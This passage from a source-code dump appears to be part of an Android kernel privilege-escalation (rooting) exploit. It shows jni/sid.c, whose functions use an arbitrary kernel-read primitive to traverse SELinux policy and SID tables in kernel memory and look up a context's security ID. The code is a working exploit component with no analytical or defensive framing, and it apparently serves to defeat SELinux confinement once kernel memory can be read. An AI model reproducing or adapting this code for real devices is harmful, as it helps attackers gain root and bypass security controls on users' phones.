free(kernelver); 340 | return o; 341 | } 342 | -------------------------------------------------------------------------------- /jni/sid.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "sidtab.h" 5 | #include "policydb.h" 6 | #include "getroot.h" 7 | 8 | #define __user 9 | #define __kernel 10 | 11 | static inline struct flex_array* __kernel get_types_fa() 12 | { 13 | struct flex_array* __kernel fa = NULL; 14 | struct policydb* pdb = malloc(sizeof(*pdb)); 15 | 16 | if(!policydb) 17 | goto end; 18 | 19 | if(!read_at_address_pipe(policydb, pdb, sizeof(*pdb))) 20 | fa = pdb->sym_val_to_name[SYM_TYPES]; 21 | 22 | end: 23 | free(pdb); 24 | return fa; 25 | } 26 | 27 | static void* flex_array_get_pipe(struct flex_array* __kernel fa, unsigned int element_nr) 28 | { 29 | void* ptr = NULL; 30 | struct flex_array* fla = malloc(sizeof(*fla)); 31 | if(read_at_address_pipe(fa, fla, sizeof(*fla))) 32 | goto end; 33 | 34 | if(flex_array_has_element(fla, element_nr) && !(ptr = flex_array_get_base(fla, element_nr))) 35 | { 36 | int part_nr; 37 | struct flex_array_part* __kernel part = flex_array_get_part(fla, element_nr, &part_nr); 38 | if(part) 39 | { 40 | struct flex_array_part* p = malloc(sizeof(*p)); 41 | if(!read_at_address_pipe(part, p, sizeof(*p))) 42 | ptr = flex_array_get_from_part(p, part_nr, fla, element_nr); 43 | free(p); 44 | } 45 | } 46 | 47 | end: 48 | free(fla); 49 | return ptr; 50 | } 51 | 52 | static inline int cmpsidstr(char* __user usrname, char* __kernel krnlname) 53 | { 54 | int ret = 1; 55 | char* usrbuf = malloc(128); 56 | if(read_at_address_pipe(krnlname, usrbuf, 128)) 57 | goto end; 58 | usrbuf[127] = 0; 59 | 60 | ret = strcmp(usrname, usrbuf); 61 | 62 | end: 63 | free(usrbuf); 64 | return ret; 65 | } 66 | 67 | int get_sid(char* sidname) 68 | { 69 | unsigned int curnel = 0; 70 | unsigned int sid = 0; 71 | struct flex_array* __kernel fa = get_types_fa(); 72 | struct sidtab_node* htable[SIDTAB_SIZE]; 73 | struct sidtab st; 74 | 75 | if(!fa || !sidtab) 76 | return 0; 77 | 78 | if(read_at_address_pipe(sidtab, &st, sizeof(st))) 79 | return 0; 80 | 81 | if(read_at_address_pipe(st.htable, &htable, sizeof(htable))) 82 | return 0; 83 | 84 | { 85 | unsigned int i; 86 | struct sidtab_node* __kernel next; 87 | struct sidtab_node* sn = malloc(sizeof(*sn)); 88 | for(i = 0; i < SIDTAB_SIZE; i++) 89 | { 90 | if(curnel >= st.nel) 91 | break; 92 | if(!htable[i]) 93 | continue; 94 | 95 | next = htable[i]; 96 | do 97 | { 98 | if(read_at_address_pipe(next, sn, sizeof(*sn))) 99 | goto breakfor; 100 | 101 | char** name = flex_array_get_pipe(fa, sn->context.type - 1); 102 | //this should be a userpointer to a kernel pointer 103 | if(name) 104 | { 105 | if(cmpsidstr(sidname, *name) == 0) 106 | { 107 | sid = sn->sid; 108 | goto breakfor; 109 | } 110 | } 111 | curnel++; 112 | } while((next = sn->next) && (next != htable[i])); 113 | } 114 | breakfor: 115 | free(sn); 116 | } 117 | 118 | return sid; 119 | } 120 | --------------------------------------------------------------------------------